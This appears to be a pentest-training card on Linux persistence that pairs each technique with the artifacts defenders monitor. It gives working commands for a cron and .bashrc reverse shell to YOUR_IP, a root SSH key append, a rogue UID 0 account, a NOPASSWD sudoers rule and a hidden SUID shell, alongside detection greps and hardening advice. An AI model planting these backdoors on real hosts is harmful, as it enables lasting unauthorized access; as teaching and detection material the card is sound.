Skip to content
Pwnversity
LIN-PERSISTadvanced · 6 min · upd. 2026-10

Linux Persistence

T1098.004T1543.002

After compromising a host and escalating to root, persistence ensures you keep access even if the system reboots, passwords change, or you’re kicked out of a session. Linux offers many auto-start and recurring-execution mechanisms an attacker can hijack. In a pentest it’s documented to demonstrate impact; in a real attack it’s what turns a one-off access into a lasting compromise. Always work within the authorized scope and record everything planted for cleanup.

The attacker trades “I’m in now” for “I get in whenever I want.” There are two families: user-level (survives sessions, needs no root) and system/root-level (survives reboots, more powerful). The axis that orders them is stealth versus robustness: an SSH key is clean but auditable; a PAM module or a rootkit is stealthy but complex and fragile. The defensive challenge is detecting what was added against a known baseline.

Persistence reuses legitimate execution mechanisms: system boot, scheduled tasks, authentication, services, and shell profiles. Each mechanism has a trigger (reboot, login, cron, authentication) and a privilege level. This card maps each mechanism to its on-disk artifact, because that’s where the defender finds it.

Each technique shows how it’s planted and where the artifact lives; the latter is what the Blue Team monitors. All under authorized testing, logging what you plant for cleanup.

Adding a controlled public key to authorized_keys gives permanent passwordless access. Artifact: the user’s or root’s ~/.ssh/authorized_keys, and the sshd config (AuthorizedKeysFile, PermitRootLogin).

Ventana de terminal
# plant: add your public key -> permanent passwordless access
mkdir -p /root/.ssh && echo "ssh-ed25519 AAAA...your_key" >> /root/.ssh/authorized_keys
# artifact to watch: each user's authorized_keys (especially root)
ls -la /root/.ssh/authorized_keys /home/*/.ssh/authorized_keys

A scheduled task that relaunches a beacon survives reboots. Artifacts: the user’s crontab, /etc/cron.d/, /etc/cron.*, and .service/.timer units in /etc/systemd/system/ (see Cron and timers).

Ventana de terminal
# plant: system cron that relaunches access periodically
echo '*/10 * * * * root bash -i >& /dev/tcp/YOUR_IP/443 0>&1' > /etc/cron.d/update
# artifacts to watch
crontab -l; ls -la /etc/cron.d /etc/cron.*
systemctl list-timers --all; ls -la /etc/systemd/system/*.timer

System startup scripts (/etc/rc.local, /etc/init.d/, systemd units with ExecStart) and shell profiles that run at login. Artifacts: ~/.bashrc, ~/.bash_profile, ~/.profile, /etc/profile, /etc/bash.bashrc.

Ventana de terminal
# plant: a line in a shell profile that fires at login
echo 'bash -i >& /dev/tcp/YOUR_IP/443 0>&1' >> ~/.bashrc
# artifacts to watch: shell profiles and startup scripts
grep -RniE 'bash -i|/dev/tcp|curl|wget' ~/.bashrc /etc/profile /etc/bash.bashrc 2>/dev/null

A UID 0 user is a parallel root; a normal user added to the sudo group also grants escalation. A tampered PAM module allows a master password: stealthier and more powerful, but complex. Artifacts: /etc/passwd, /etc/shadow, /etc/sudoers.d/, modules in /lib/*/security/.

Ventana de terminal
# plant: a second UID 0 user, or a NOPASSWD sudo rule
h=$(openssl passwd -1 -salt x pwn); echo "pwn:$h:0:0:root:/root:/bin/bash" >> /etc/passwd
echo 'attacker ALL=(ALL) NOPASSWD:ALL' > /etc/sudoers.d/zz-att
# artifacts to watch: duplicate UID 0 accounts and new sudoers
awk -F: '($3==0){print $1}' /etc/passwd # should be only 'root'
ls -la /etc/sudoers.d/
  • Hidden SUID backdoor: a SUID copy of an interpreter/shell in a discreet path (see SUID). Artifact: new SUID versus baseline.
  • Hidden capability on a binary (see capabilities).
  • LD_PRELOAD or malicious library loaded by a service.
  • Kernel module (rootkit): maximum stealth, maximum complexity and fragility.
  • Webshell if the host serves web (in /var/www).
Ventana de terminal
# plant: SUID copy of a shell in a discreet path (SUID backdoor)
cp /bin/bash /usr/lib/.sysd && chmod u+s /usr/lib/.sysd # then: /usr/lib/.sysd -p
# artifact to watch: new SUID and unexpected capabilities
find / -perm -4000 -type f 2>/dev/null # compare with baseline
getcap -r / 2>/dev/null
  • FIM (AIDE, rpm -V, debsums): changes to authorized_keys, cron, systemd units, rc.local, shell profiles, /etc/passwd/shadow, PAM modules, and system binaries.
  • auditd: -w on those files; alert on account creation (useradd/usermod), chmod u+s, setcap, module loads (init_module).
  • SUID/capability baseline: periodic diff of find -perm -4000 and getcap -r /.
  • Hunting: duplicate UID 0 users, new sudo members, unexpected authorized_keys, periodic outbound connections (beacons).

Authentication logs (auth.log), auditd write events on persistence paths, centralized account/key inventory, rootkit detection (rkhunter, chkrootkit).

  • Centrally managed keys and audited authorized_keys; restricted PermitRootLogin.
  • System integrity: signed packages, active FIM, SUID/caps baseline.
  • After an incident: rebuild the host —stealthy persistence (PAM, rootkit) is hard to eradicate with confidence— and rotate credentials and keys. See Linux DFIR.
  • SSH key in authorized_keys (user and root)
  • Cron / systemd timer that relaunches access
  • rc.local / systemd services / shell profiles
  • UID 0 user or user in sudo
  • Hidden SUID backdoor / capabilities
  • PAM / LD_PRELOAD / kernel module (stealthy)
  • Document everything planted for report cleanup
  • Blue: do FIM/auditd detect each mechanism against baseline?